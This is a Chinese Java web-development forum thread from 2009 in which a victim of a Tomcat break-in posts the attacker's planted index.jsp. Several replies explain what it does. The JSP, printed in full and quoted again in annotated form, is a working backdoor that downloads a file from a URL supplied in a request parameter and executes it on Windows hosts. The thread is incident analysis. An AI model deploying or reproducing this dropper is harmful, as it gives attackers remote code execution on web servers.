tomcat被黑 对方留下个fexcep目录 有高手知道是干嘛的不

gundamff 2009-09-03 03:10:08
index.jsp :

<%@ page language="java" pageEncoding="utf-8" import="java.io.*,java.net.*,java.security.*,javax.crypto.*"%>
<%!
String sys=null;

public class AutoKill {

private boolean downFile(String url,String filesrc)
{
try
{
URL urlc = new URL(url);
HttpURLConnection con = (HttpURLConnection)urlc.openConnection();
con.connect();
byte[] b=new byte[1024];
BufferedInputStream bis=new BufferedInputStream(con.getInputStream());
FileOutputStream fos=new FileOutputStream(filesrc);
int length=-1;
while((length=bis.read(b,0,b.length))!=-1)
{
fos.write(b,0,length);
}
fos.close();
bis.close();
return true;
}catch(Exception e)
{
e.printStackTrace();
}
return false;
}
}

%>
<%
sys=System.getProperty("os.name");
int i=sys.indexOf("Windows");
AutoKill ak=new AutoKill();
if(i>-1)
{
String result;
try
{
String url=request.getParameter("userurl");
System.out.println(url);
String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe";
if (ak.downFile(url,filesrc) )
{
Process run_proc=Runtime.getRuntime().exec(filesrc);
result="Success! ";
}
else
{
result="Failure! Down File Failure!";
}

}catch(Exception e)
{
result="Failure!throws Exception - "+e.getMessage()+"! ";
}
request.setAttribute("result",result);
}
else
{
request.setAttribute("result","Failure!Because Remote computer system is "+sys+"!");
}

request.getRequestDispatcher("/ok.jsp").forward(request, response);
%>



ok.jsp

<%@ page language="java" pageEncoding="utf-8"%><%= request.getAttribute("result")%>


同级目录里还有个init.exe

有高手知道这个 init.exe 是干嘛的不
...全文
217 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
幸福的小雨 2009-09-07
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 dsgdsg 的回复:]
Java code
AutoKill ak=new AutoKill();// 如果是windos操作系统if(i>-1)
{
String result;try
{
String url=request.getParameter("userurl");
System.out.println(url);
String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe";// 如果去指定的url下载文件,成功if (ak.downFile(url,filesrc) )
{// 成功了,就运行指定文件 Process run_proc=Runtime.getRuntime().exec(filesrc);
result="Success!";
}// 下载失败else
{
result="Failure! Down File Failure!";
}

}catch(Exception e)
{
result="Failure!throws Exception -"+e.getMessage()+"!";
}// 返回成功的消息 request.setAttribute("result",result);
}else
{// 返回失败的消息 request.setAttribute("result","Failure!Because Remote computer system is"+sys+"!");
}
你说的exe有可能就是黑客通过以上的方法下载到本机运行的
[/Quote]

十分赞同,!!!@
gundamff 2009-09-07
  • 打赏
  • 举报
回复
没高手知道?
gundamff 2009-09-07
  • 打赏
  • 举报
回复
哎...我就是想知道这个exe是干嘛的
gundamff 2009-09-03
  • 打赏
  • 举报
回复
http://download.csdn.net/source/1630361
上传到这里了 谁给分析分析
gundamff 2009-09-03
  • 打赏
  • 举报
回复
那个exe是在服务端运行的吧..
想知道这个exe到底是干嘛的
bea_java 2009-09-03
  • 打赏
  • 举报
回复
顶,期待。
dsgdsg 2009-09-03
  • 打赏
  • 举报
回复

AutoKill ak=new AutoKill();
// 如果是windos操作系统
if(i>-1)
{
String result;
try
{
String url=request.getParameter("userurl");
System.out.println(url);
String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe";
// 如果去指定的url下载文件,成功
if (ak.downFile(url,filesrc) )
{
// 成功了,就运行指定文件
Process run_proc=Runtime.getRuntime().exec(filesrc);
result="Success! ";
}
// 下载失败
else
{
result="Failure! Down File Failure!";
}

}catch(Exception e)
{
result="Failure!throws Exception - "+e.getMessage()+"! ";
}
// 返回成功的消息
request.setAttribute("result",result);
}
else
{
// 返回失败的消息
request.setAttribute("result","Failure!Because Remote computer system is "+sys+"!");
}

你说的exe有可能就是黑客通过以上的方法下载到本机运行的
nangonghaopeng 2009-09-03
  • 打赏
  • 举报
回复
3)代码部署web应用到Tomcat是:
a) Checks if the OS is windows. 1)检查,如果操作系统是Windows。 If not it terminates.如果不是,就终止。
b) If it is windows... b)如果它是Windows ... then some variants immediately download and execute a binary from one of several possible servers.然后一些变种立即下载并执行从几个可能的一个服务器的二进制。 The binary presumably contains further malware.二进制大概载有进一步的恶意软件。
c) Other variants apparently wait to be invoked again by an external host that will provide the URL of a binary to download and execute. c)其他的变种似乎等待被再次调用一个外部主机将提供一个二进制的URL下载并执行。

81,095

社区成员

发帖
与我相关
我的任务
社区描述
Java Web 开发
社区管理员
  • Web 开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧